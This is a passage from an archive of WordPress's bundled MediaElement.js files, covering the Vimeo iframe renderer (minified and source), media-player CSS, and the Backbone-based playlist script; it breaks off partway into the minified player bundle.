v.push({type:"call",methodName:e})}},l=0,d=u.length;l<d;l++)c(u[l]);window["__ready__"+h.id]=function(e){if(f.vimeoPlayer=w=e,v.length)for(var t=0,n=v.length;t<n;t++){var r=v[t];if("set"===r.type){var i=r.propName,a=""+i.substring(0,1).toUpperCase()+i.substring(1);h["set"+a](r.value)}else"call"===r.type&&h[r.methodName]()}f.originalNode.muted&&(w.setVolume(0),g=0);for(var o=document.getElementById(h.id),s=void 0,u=function(e){var t=mejs.Utils.createEvent(e.type,h);f.dispatchEvent(t)},c=0,l=(s=["mouseover","mouseout"]).length;c<l;c++)o.addEventListener(s[c],u,!1);w.on("loaded",function(){w.getDuration().then(function(e){if(0<(b=e)&&(j=b*e,f.originalNode.autoplay)){U=y=!1;var t=mejs.Utils.createEvent("play",h);f.dispatchEvent(t)}}).catch(function(e){N(e)})}),w.on("progress",function(){w.getDuration().then(function(e){if(0<(b=e)&&(j=b*e,f.originalNode.autoplay)){var t=mejs.Utils.createEvent("play",h);f.dispatchEvent(t);var n=mejs.Utils.createEvent("playing",h);f.dispatchEvent(n)}var r=mejs.Utils.createEvent("progress",h);f.dispatchEvent(r)}).catch(function(e){return N(e)})}),w.on("timeupdate",function(){w.getCurrentTime().then(function(e){E=e;var t=mejs.Utils.createEvent("timeupdate",h);f.dispatchEvent(t)}).catch(function(e){return N(e)})}),w.on("play",function(){U=y=!1;var e=mejs.Utils.createEvent("play",h);f.dispatchEvent(e);var t=mejs.Utils.createEvent("playing",h);f.dispatchEvent(t)}),w.on("pause",function(){y=!0,U=!1;var e=mejs.Utils.createEvent("pause",h);f.dispatchEvent(e)}),w.on("ended",function(){y=!1,U=!0;var e=mejs.Utils.createEvent("ended",h);f.dispatchEvent(e)});for(var d=0,p=(s=["rendererready","loadedmetadata","loadeddata","canplay"]).length;d<p;d++){var m=mejs.Utils.createEvent(s[d],h);f.dispatchEvent(m)}};var p=f.originalNode.height,m=f.originalNode.width,_=document.createElement("iframe"),x="https://player.vimeo.com/video/"+T.getVimeoId(t[0].src),A=~t[0].src.indexOf("?")?"?"+t[0].src.slice(t[0].src.indexOf("?")+1):"",V=[];return f.originalNode.autoplay&&-1===A.indexOf("autoplay")&&V.push("autoplay=1"),f.originalNode.loop&&-1===A.indexOf("loop")&&V.push("loop=1"),A=A+(A?"&":"?")+V.join("&"),_.setAttribute("id",h.id),_.setAttribute("width",m),_.setAttribute("height",p),_.setAttribute("frameBorder","0"),_.setAttribute("src",""+x+A),_.setAttribute("webkitallowfullscreen","true"),_.setAttribute("mozallowfullscreen","true"),_.setAttribute("allowfullscreen","true"),_.setAttribute("allow","autoplay"),f.originalNode.parentNode.insertBefore(_,f.originalNode),f.originalNode.style.display="none",T.load({iframe:_,id:h.id}),h.hide=function(){h.pause(),w&&(_.style.display="none")},h.setSize=function(e,t){_.setAttribute("width",e),_.setAttribute("height",t)},h.show=function(){w&&(_.style.display="")},h.destroy=function(){},h}};mejs.Utils.typeChecks.push(function(e){return/(\/\/player\.vimeo|vimeo\.com)/i.test(e)?"video/x-vimeo":null}),mejs.Renderers.add(r)},{}]},{},[1]);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/renderers/vimeo.js������������������������������������������������������������������0000644�����������������00000030200�14717703502�0013260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ 'use strict'; var VimeoApi = { promise: null, load: function load(settings) { if (typeof Vimeo !== 'undefined') { VimeoApi._createPlayer(settings); } else { VimeoApi.promise = VimeoApi.promise || mejs.Utils.loadScript('https://player.vimeo.com/api/player.js'); VimeoApi.promise.then(function () { VimeoApi._createPlayer(settings); }); } }, _createPlayer: function _createPlayer(settings) { var player = new Vimeo.Player(settings.iframe); window['__ready__' + settings.id](player); }, getVimeoId: function getVimeoId(url) { if (url == null) { return null; } var parts = url.split('?'); url = parts[0]; var playerLinkMatch = url.match(/https:\/\/player.vimeo.com\/video\/(\d+)$/); if (playerLinkMatch) { return parseInt(playerLinkMatch[1], 10); } var vimeoLinkMatch = url.match(/https:\/\/vimeo.com\/(\d+)$/); if (vimeoLinkMatch) { return parseInt(vimeoLinkMatch[1], 10); } var privateVimeoLinkMatch = url.match(/https:\/\/vimeo.com\/(\d+)\/\w+$/); if (privateVimeoLinkMatch) { return parseInt(privateVimeoLinkMatch[1], 10); } return NaN; } }; var vimeoIframeRenderer = { name: 'vimeo_iframe', options: { prefix: 'vimeo_iframe' }, canPlayType: function canPlayType(type) { return ~['video/vimeo', 'video/x-vimeo'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var apiStack = [], vimeo = {}, readyState = 4; var paused = true, volume = 1, oldVolume = volume, currentTime = 0, bufferedTime = 0, ended = false, duration = 0, vimeoPlayer = null, url = ''; vimeo.options = options; vimeo.id = mediaElement.id + '_' + options.prefix; vimeo.mediaElement = mediaElement; var errorHandler = function errorHandler(error) { mediaElement.generateError('Code ' + error.name + ': ' + error.message, mediaFiles); }; var props = mejs.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); vimeo['get' + capName] = function () { if (vimeoPlayer !== null) { var value = null; switch (propName) { case 'currentTime': return currentTime; case 'duration': return duration; case 'volume': return volume; case 'muted': return volume === 0; case 'paused': return paused; case 'ended': return ended; case 'src': vimeoPlayer.getVideoUrl().then(function (_url) { url = _url; }).catch(function (error) { return errorHandler(error); }); return url; case 'buffered': return { start: function start() { return 0; }, end: function end() { return bufferedTime * duration; }, length: 1 }; case 'readyState': return readyState; } return value; } else { return null; } }; vimeo['set' + capName] = function (value) { if (vimeoPlayer !== null) { switch (propName) { case 'src': var _url2 = typeof value === 'string' ? value : value[0].src, videoId = VimeoApi.getVimeoId(_url2); vimeoPlayer.loadVideo(videoId).then(function () { if (mediaElement.originalNode.autoplay) { vimeoPlayer.play(); } }).catch(function (error) { return errorHandler(error); }); break; case 'currentTime': vimeoPlayer.setCurrentTime(value).then(function () { currentTime = value; setTimeout(function () { var event = mejs.Utils.createEvent('timeupdate', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); break; case 'volume': vimeoPlayer.setVolume(value).then(function () { volume = value; oldVolume = volume; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); break; case 'loop': vimeoPlayer.setLoop(value).catch(function (error) { return errorHandler(error); }); break; case 'muted': if (value) { vimeoPlayer.setVolume(0).then(function () { volume = 0; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); } else { vimeoPlayer.setVolume(oldVolume).then(function () { volume = oldVolume; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); } break; case 'readyState': var event = mejs.Utils.createEvent('canplay', vimeo); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = mejs.html5media.methods, assignMethods = function assignMethods(methodName) { vimeo[methodName] = function () { if (vimeoPlayer !== null) { switch (methodName) { case 'play': paused = false; return vimeoPlayer.play(); case 'pause': paused = true; return vimeoPlayer.pause(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } window['__ready__' + vimeo.id] = function (_vimeoPlayer) { mediaElement.vimeoPlayer = vimeoPlayer = _vimeoPlayer; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); vimeo['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { vimeo[stackItem.methodName](); } } } if (mediaElement.originalNode.muted) { vimeoPlayer.setVolume(0); volume = 0; } var vimeoIframe = document.getElementById(vimeo.id); var events = void 0; events = ['mouseover', 'mouseout']; var assignEvents = function assignEvents(e) { var event = mejs.Utils.createEvent(e.type, vimeo); mediaElement.dispatchEvent(event); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { vimeoIframe.addEventListener(events[_i3], assignEvents, false); } vimeoPlayer.on('loaded', function () { vimeoPlayer.getDuration().then(function (loadProgress) { duration = loadProgress; if (duration > 0) { bufferedTime = duration * loadProgress; if (mediaElement.originalNode.autoplay) { paused = false; ended = false; var event = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(event); } } }).catch(function (error) { errorHandler(error, vimeo); }); }); vimeoPlayer.on('progress', function () { vimeoPlayer.getDuration().then(function (loadProgress) { duration = loadProgress; if (duration > 0) { bufferedTime = duration * loadProgress; if (mediaElement.originalNode.autoplay) { var initEvent = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(initEvent); var playingEvent = mejs.Utils.createEvent('playing', vimeo); mediaElement.dispatchEvent(playingEvent); } } var event = mejs.Utils.createEvent('progress', vimeo); mediaElement.dispatchEvent(event); }).catch(function (error) { return errorHandler(error); }); }); vimeoPlayer.on('timeupdate', function () { vimeoPlayer.getCurrentTime().then(function (seconds) { currentTime = seconds; var event = mejs.Utils.createEvent('timeupdate', vimeo); mediaElement.dispatchEvent(event); }).catch(function (error) { return errorHandler(error); }); }); vimeoPlayer.on('play', function () { paused = false; ended = false; var event = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(event); var playingEvent = mejs.Utils.createEvent('playing', vimeo); mediaElement.dispatchEvent(playingEvent); }); vimeoPlayer.on('pause', function () { paused = true; ended = false; var event = mejs.Utils.createEvent('pause', vimeo); mediaElement.dispatchEvent(event); }); vimeoPlayer.on('ended', function () { paused = false; ended = true; var event = mejs.Utils.createEvent('ended', vimeo); mediaElement.dispatchEvent(event); }); events = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = events.length; _i4 < _total4; _i4++) { var event = mejs.Utils.createEvent(events[_i4], vimeo); mediaElement.dispatchEvent(event); } }; var height = mediaElement.originalNode.height, width = mediaElement.originalNode.width, vimeoContainer = document.createElement('iframe'), standardUrl = 'https://player.vimeo.com/video/' + VimeoApi.getVimeoId(mediaFiles[0].src); var queryArgs = ~mediaFiles[0].src.indexOf('?') ? '?' + mediaFiles[0].src.slice(mediaFiles[0].src.indexOf('?') + 1) : ''; var args = []; if (mediaElement.originalNode.autoplay && queryArgs.indexOf('autoplay') === -1) { args.push('autoplay=1'); } if (mediaElement.originalNode.loop && queryArgs.indexOf('loop') === -1) { args.push('loop=1'); } queryArgs = '' + queryArgs + (queryArgs ? '&' : '?') + args.join('&'); vimeoContainer.setAttribute('id', vimeo.id); vimeoContainer.setAttribute('width', width); vimeoContainer.setAttribute('height', height); vimeoContainer.setAttribute('frameBorder', '0'); vimeoContainer.setAttribute('src', '' + standardUrl + queryArgs); vimeoContainer.setAttribute('webkitallowfullscreen', 'true'); vimeoContainer.setAttribute('mozallowfullscreen', 'true'); vimeoContainer.setAttribute('allowfullscreen', 'true'); vimeoContainer.setAttribute('allow', 'autoplay'); mediaElement.originalNode.parentNode.insertBefore(vimeoContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; VimeoApi.load({ iframe: vimeoContainer, id: vimeo.id }); vimeo.hide = function () { vimeo.pause(); if (vimeoPlayer) { vimeoContainer.style.display = 'none'; } }; vimeo.setSize = function (width, height) { vimeoContainer.setAttribute('width', width); vimeoContainer.setAttribute('height', height); }; vimeo.show = function () { if (vimeoPlayer) { vimeoContainer.style.display = ''; } }; vimeo.destroy = function () {}; return vimeo; } }; mejs.Utils.typeChecks.push(function (url) { return (/(\/\/player\.vimeo|vimeo\.com)/i.test(url) ? 'video/x-vimeo' : null ); }); mejs.Renderers.add(vimeoIframeRenderer); },{}]},{},[1]); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/wp-mediaelement.min.css�������������������������������������������������������������0000644�����������������00000010132�14717703502�0014165 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.mejs-container{clear:both;max-width:100%}.mejs-container *{font-family:Helvetica,Arial}.mejs-container,.mejs-container .mejs-controls,.mejs-embed,.mejs-embed body{background:#222}.mejs-time{font-weight:400;word-wrap:normal}.mejs-controls a.mejs-horizontal-volume-slider{display:table}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-time-rail .mejs-time-loaded{background:#fff}.mejs-controls .mejs-time-rail .mejs-time-current{background:#0073aa}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail .mejs-time-total{background:rgba(255,255,255,.33)}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail span{border-radius:0}.mejs-overlay-loading{background:0 0}.mejs-controls button:hover{border:none;-webkit-box-shadow:none;box-shadow:none}.me-cannotplay{width:auto!important}.media-embed-details .wp-audio-shortcode{display:inline-block;max-width:400px}.audio-details .embed-media-settings{overflow:visible}.media-embed-details .embed-media-settings .setting span:not(.button-group){max-width:400px;width:auto}.media-embed-details .embed-media-settings .checkbox-setting span{display:inline-block}.media-embed-details .embed-media-settings{padding-top:0;top:28px}.media-embed-details .instructions{padding:16px 0;max-width:600px}.media-embed-details .setting .remove-setting,.media-embed-details .setting p{color:#a00;font-size:10px;text-transform:uppercase}.media-embed-details .setting .remove-setting{padding:5px 0}.media-embed-details .setting a:hover{color:#dc3232}.media-embed-details .embed-media-settings .checkbox-setting{float:none;margin:0 0 10px}.wp-video{max-width:100%;height:auto}.wp_attachment_holder .wp-audio-shortcode,.wp_attachment_holder .wp-video{margin-top:18px}.wp-video-shortcode video,video.wp-video-shortcode{max-width:100%;display:inline-block}.video-details .wp-video-holder{width:100%;max-width:640px}.wp-playlist{border:1px solid #ccc;padding:10px;margin:12px 0 18px;font-size:14px;line-height:1.5}.wp-admin .wp-playlist{margin:0 0 18px}.wp-playlist video{display:inline-block;max-width:100%}.wp-playlist audio{display:none;max-width:100%;width:400px}.wp-playlist .mejs-container{margin:0;max-width:100%}.wp-playlist .mejs-controls .mejs-button button{outline:0}.wp-playlist-light{background:#fff;color:#000}.wp-playlist-dark{color:#fff;background:#000}.wp-playlist-caption{display:block;max-width:88%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:14px;line-height:1.5}.wp-playlist-item .wp-playlist-caption{text-decoration:none;color:#000;max-width:-webkit-calc(100% - 40px);max-width:calc(100% - 40px)}.wp-playlist-item-meta{display:block;font-size:14px;line-height:1.5}.wp-playlist-item-title{font-size:14px;line-height:1.5}.wp-playlist-item-album{font-style:italic;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-playlist-item-artist{font-size:12px;text-transform:uppercase}.wp-playlist-item-length{position:absolute;right:3px;top:0;font-size:14px;line-height:1.5}.rtl .wp-playlist-item-length{left:3px;right:auto}.wp-playlist-tracks{margin-top:10px}.wp-playlist-item{position:relative;cursor:pointer;padding:0 3px;border-bottom:1px solid #ccc}.wp-playlist-item:last-child{border-bottom:0}.wp-playlist-light .wp-playlist-caption{color:#333}.wp-playlist-dark .wp-playlist-caption{color:#ddd}.wp-playlist-playing{font-weight:700;background:#f7f7f7}.wp-playlist-light .wp-playlist-playing{background:#fff;color:#000}.wp-playlist-dark .wp-playlist-playing{background:#000;color:#fff}.wp-playlist-current-item{overflow:hidden;margin-bottom:10px;height:60px}.wp-playlist .wp-playlist-current-item img{float:left;max-width:60px;height:auto;margin-right:10px;padding:0;border:0}.rtl .wp-playlist .wp-playlist-current-item img{float:right;margin-left:10px;margin-right:0}.wp-playlist-current-item .wp-playlist-item-artist,.wp-playlist-current-item .wp-playlist-item-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-audio-playlist .me-cannotplay span{padding:5px 15px}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/wp-playlist.js����������������������������������������������������������������������0000644�����������������00000012355�14717703502�0012450 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global _wpmejsSettings, MediaElementPlayer */ (function ($, _, Backbone) { 'use strict'; /** @namespace wp */ window.wp = window.wp || {}; var WPPlaylistView = Backbone.View.extend(/** @lends WPPlaylistView.prototype */{ /** * @constructs * * @param {Object} options The options to create this playlist view with. * @param {Object} options.metadata The metadata */ initialize : function (options) { this.index = 0; this.settings = {}; this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() ); this.playerNode = this.$( this.data.type ); this.tracks = new Backbone.Collection( this.data.tracks ); this.current = this.tracks.first(); if ( 'audio' === this.data.type ) { this.currentTemplate = wp.template( 'wp-playlist-current-item' ); this.currentNode = this.$( '.wp-playlist-current-item' ); } this.renderCurrent(); if ( this.data.tracklist ) { this.itemTemplate = wp.template( 'wp-playlist-item' ); this.playingClass = 'wp-playlist-playing'; this.renderTracks(); } this.playerNode.attr( 'src', this.current.get( 'src' ) ); _.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' ); if ( ! _.isUndefined( window._wpmejsSettings ) ) { this.settings = _.clone( _wpmejsSettings ); } this.settings.success = this.bindPlayer; this.setPlayer(); }, bindPlayer : function (mejs) { this.mejs = mejs; this.mejs.addEventListener( 'ended', this.ended ); }, bindResetPlayer : function (mejs) { this.bindPlayer( mejs ); this.playCurrentSrc(); }, setPlayer: function (force) { if ( this.player ) { this.player.pause(); this.player.remove(); this.playerNode = this.$( this.data.type ); } if (force) { this.playerNode.attr( 'src', this.current.get( 'src' ) ); this.settings.success = this.bindResetPlayer; } // This is also our bridge to the outside world. this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings ); }, playCurrentSrc : function () { this.renderCurrent(); this.mejs.setSrc( this.playerNode.attr( 'src' ) ); this.mejs.load(); this.mejs.play(); }, renderCurrent : function () { var dimensions, defaultImage = 'wp-includes/images/media/video.png'; if ( 'video' === this.data.type ) { if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) { this.playerNode.attr( 'poster', this.current.get( 'image' ).src ); } dimensions = this.current.get( 'dimensions' ).resized; this.playerNode.attr( dimensions ); } else { if ( ! this.data.images ) { this.current.set( 'image', false ); } this.currentNode.html( this.currentTemplate( this.current.toJSON() ) ); } }, renderTracks : function () { var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' ); this.tracks.each(function (model) { if ( ! self.data.images ) { model.set( 'image', false ); } model.set( 'artists', self.data.artists ); model.set( 'index', self.data.tracknumbers ? i : false ); tracklist.append( self.itemTemplate( model.toJSON() ) ); i += 1; }); this.$el.append( tracklist ); this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass ); }, events : { 'click .wp-playlist-item' : 'clickTrack', 'click .wp-playlist-next' : 'next', 'click .wp-playlist-prev' : 'prev' }, clickTrack : function (e) { e.preventDefault(); this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget ); this.setCurrent(); }, ended : function () { if ( this.index + 1 < this.tracks.length ) { this.next(); } else { this.index = 0; this.setCurrent(); } }, next : function () { this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1; this.setCurrent(); }, prev : function () { this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1; this.setCurrent(); }, loadCurrent : function () { var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(), current = this.current.get( 'src' ).split('.').pop(); this.mejs && this.mejs.pause(); if ( last !== current ) { this.setPlayer( true ); } else { this.playerNode.attr( 'src', this.current.get( 'src' ) ); this.playCurrentSrc(); } }, setCurrent : function () { this.current = this.tracks.at( this.index ); if ( this.data.tracklist ) { this.$( '.wp-playlist-item' ) .removeClass( this.playingClass ) .eq( this.index ) .addClass( this.playingClass ); } this.loadCurrent(); } }); /** * Initialize media playlists in the document. * * Only initializes new playlists not previously-initialized. * * @since 4.9.3 * @return {void} */ function initialize() { $( '.wp-playlist:not(:has(.mejs-container))' ).each( function() { new WPPlaylistView( { el: this } ); } ); } /** * Expose the API publicly on window.wp.playlist. * * @namespace wp.playlist * @since 4.9.3 * @type {object} */ window.wp.playlist = { initialize: initialize }; $( document ).ready( initialize ); window.WPPlaylistView = WPPlaylistView; }(jQuery, _, Backbone)); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/wp-mediaelement.css�����������������������������������������������������������������0000644�����������������00000011540�14717703502�0013407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.mejs-container { clear: both; max-width: 100%; } .mejs-container * { font-family: Helvetica, Arial; } .mejs-container, .mejs-embed, .mejs-embed body, .mejs-container .mejs-controls { background: #222; } .mejs-time { font-weight: normal; word-wrap: normal; } .mejs-controls a.mejs-horizontal-volume-slider { display: table; } .mejs-controls .mejs-time-rail .mejs-time-loaded, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current { background: #fff; } .mejs-controls .mejs-time-rail .mejs-time-current { background: #0073aa; } .mejs-controls .mejs-time-rail .mejs-time-total, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total { background: rgba(255, 255, 255, .33); } .mejs-controls .mejs-time-rail span, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total, .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current { border-radius: 0; } .mejs-overlay-loading { background: transparent; } /* Override theme styles that may conflict with controls. */ .mejs-controls button:hover { border: none; -webkit-box-shadow: none; box-shadow: none; } .me-cannotplay { width: auto !important; } .media-embed-details .wp-audio-shortcode { display: inline-block; max-width: 400px; } .audio-details .embed-media-settings { overflow: visible; } .media-embed-details .embed-media-settings .setting span:not(.button-group) { max-width: 400px; /* Back-compat for pre-5.3 */ width: auto; /* Back-compat for pre-5.3 */ } .media-embed-details .embed-media-settings .checkbox-setting span { display: inline-block; } .media-embed-details .embed-media-settings { padding-top: 0; top: 28px; } .media-embed-details .instructions { padding: 16px 0; max-width: 600px; } .media-embed-details .setting p, .media-embed-details .setting .remove-setting { color: #a00; font-size: 10px; text-transform: uppercase; } .media-embed-details .setting .remove-setting { padding: 5px 0; } .media-embed-details .setting a:hover { color: #dc3232; } .media-embed-details .embed-media-settings .checkbox-setting { float: none; margin: 0 0 10px; } .wp-video { max-width: 100%; height: auto; } .wp_attachment_holder .wp-video, .wp_attachment_holder .wp-audio-shortcode { margin-top: 18px; } video.wp-video-shortcode, .wp-video-shortcode video { max-width: 100%; display: inline-block; } .video-details .wp-video-holder { width: 100%; max-width: 640px; } .wp-playlist { border: 1px solid #ccc; padding: 10px; margin: 12px 0 18px; font-size: 14px; line-height: 1.5; } .wp-admin .wp-playlist { margin: 0 0 18px; } .wp-playlist video { display: inline-block; max-width: 100%; } .wp-playlist audio { display: none; max-width: 100%; width: 400px; } .wp-playlist .mejs-container { margin: 0; max-width: 100%; } .wp-playlist .mejs-controls .mejs-button button { outline: 0; } .wp-playlist-light { background: #fff; color: #000; } .wp-playlist-dark { color: #fff; background: #000; } .wp-playlist-caption { display: block; max-width: 88%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 14px; line-height: 1.5; } .wp-playlist-item .wp-playlist-caption { text-decoration: none; color: #000; max-width: -webkit-calc(100% - 40px); max-width: calc(100% - 40px); } .wp-playlist-item-meta { display: block; font-size: 14px; line-height: 1.5; } .wp-playlist-item-title { font-size: 14px; line-height: 1.5; } .wp-playlist-item-album { font-style: italic; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-playlist-item-artist { font-size: 12px; text-transform: uppercase; } .wp-playlist-item-length { position: absolute; right: 3px; top: 0; font-size: 14px; line-height: 1.5; } .rtl .wp-playlist-item-length { left: 3px; right: auto; } .wp-playlist-tracks { margin-top: 10px; } .wp-playlist-item { position: relative; cursor: pointer; padding: 0 3px; border-bottom: 1px solid #ccc; } .wp-playlist-item:last-child { border-bottom: 0; } .wp-playlist-light .wp-playlist-caption { color: #333; } .wp-playlist-dark .wp-playlist-caption { color: #ddd; } .wp-playlist-playing { font-weight: bold; background: #f7f7f7; } .wp-playlist-light .wp-playlist-playing { background: #fff; color: #000; } .wp-playlist-dark .wp-playlist-playing { background: #000; color: #fff; } .wp-playlist-current-item { overflow: hidden; margin-bottom: 10px; height: 60px; } .wp-playlist .wp-playlist-current-item img { float: left; max-width: 60px; height: auto; margin-right: 10px; padding: 0; border: 0; } .rtl .wp-playlist .wp-playlist-current-item img { float: right; margin-left: 10px; margin-right: 0; } .wp-playlist-current-item .wp-playlist-item-title, .wp-playlist-current-item .wp-playlist-item-artist { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-audio-playlist .me-cannotplay span { padding: 5px 15px; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/mediaelement-and-player.min.js������������������������������������������������������0000644�����������������00000463652�14717703502�0015442 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function r(a,s,l){function d(n,e){if(!s[n]){if(!a[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(u)return u(n,!0);var o=new Error("Cannot find module '"+n+"'");throw o.code="MODULE_NOT_FOUND",o}var i=s[n]={exports:{}};a[n][0].call(i.exports,function(e){var t=a[n][1][e];return d(t||e)},i,i.exports,r,a,s,l)}return s[n].exports}for(var u="function"==typeof require&&require,e=0;e<l.length;e++)d(l[e]);return d}({1:[function(e,t,n){},{}],2:[function(i,r,e){(function(e){var t,n=void 0!==e?e:"undefined"!=typeof window?window:{},o=i(1);"undefined"!=typeof document?t=document:(t=n["__GLOBAL_DOCUMENT_CACHE@4"])||(t=n["__GLOBAL_DOCUMENT_CACHE@4"]=o),r.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,n,t){(function(e){var t;t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},n.exports=t}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(e,n,t){!function(e){var t=setTimeout;function o(){}function r(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],d(e,this)}function i(n,o){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,r._immediateFn(function(){var e=1===n._state?o.onFulfilled:o.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(e){return void s(o.promise,e)}a(o.promise,t)}else(1===n._state?a:s)(o.promise,n._value)})):n._deferreds.push(o)}function a(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if(e instanceof r)return t._state=3,t._value=e,void l(t);if("function"==typeof n)return void d((o=n,i=e,function(){o.apply(i,arguments)}),t)}t._state=1,t._value=e,l(t)}catch(e){s(t,e)}var o,i}function s(e,t){e._state=2,e._value=t,l(e)}function l(e){2===e._state&&0===e._deferreds.length&&r._immediateFn(function(){e._handled||r._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)i(e,e._deferreds[t]);e._deferreds=null}function d(e,t){var n=!1;try{e(function(e){n||(n=!0,a(t,e))},function(e){n||(n=!0,s(t,e))})}catch(e){if(n)return;n=!0,s(t,e)}}r.prototype.catch=function(e){return this.then(null,e)},r.prototype.then=function(e,t){var n=new this.constructor(o);return i(this,new function(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}(e,t,n)),n},r.all=function(e){var s=Array.prototype.slice.call(e);return new r(function(o,i){if(0===s.length)return o([]);var r=s.length;function a(t,e){try{if(e&&("object"==typeof e||"function"==typeof e)){var n=e.then;if("function"==typeof n)return void 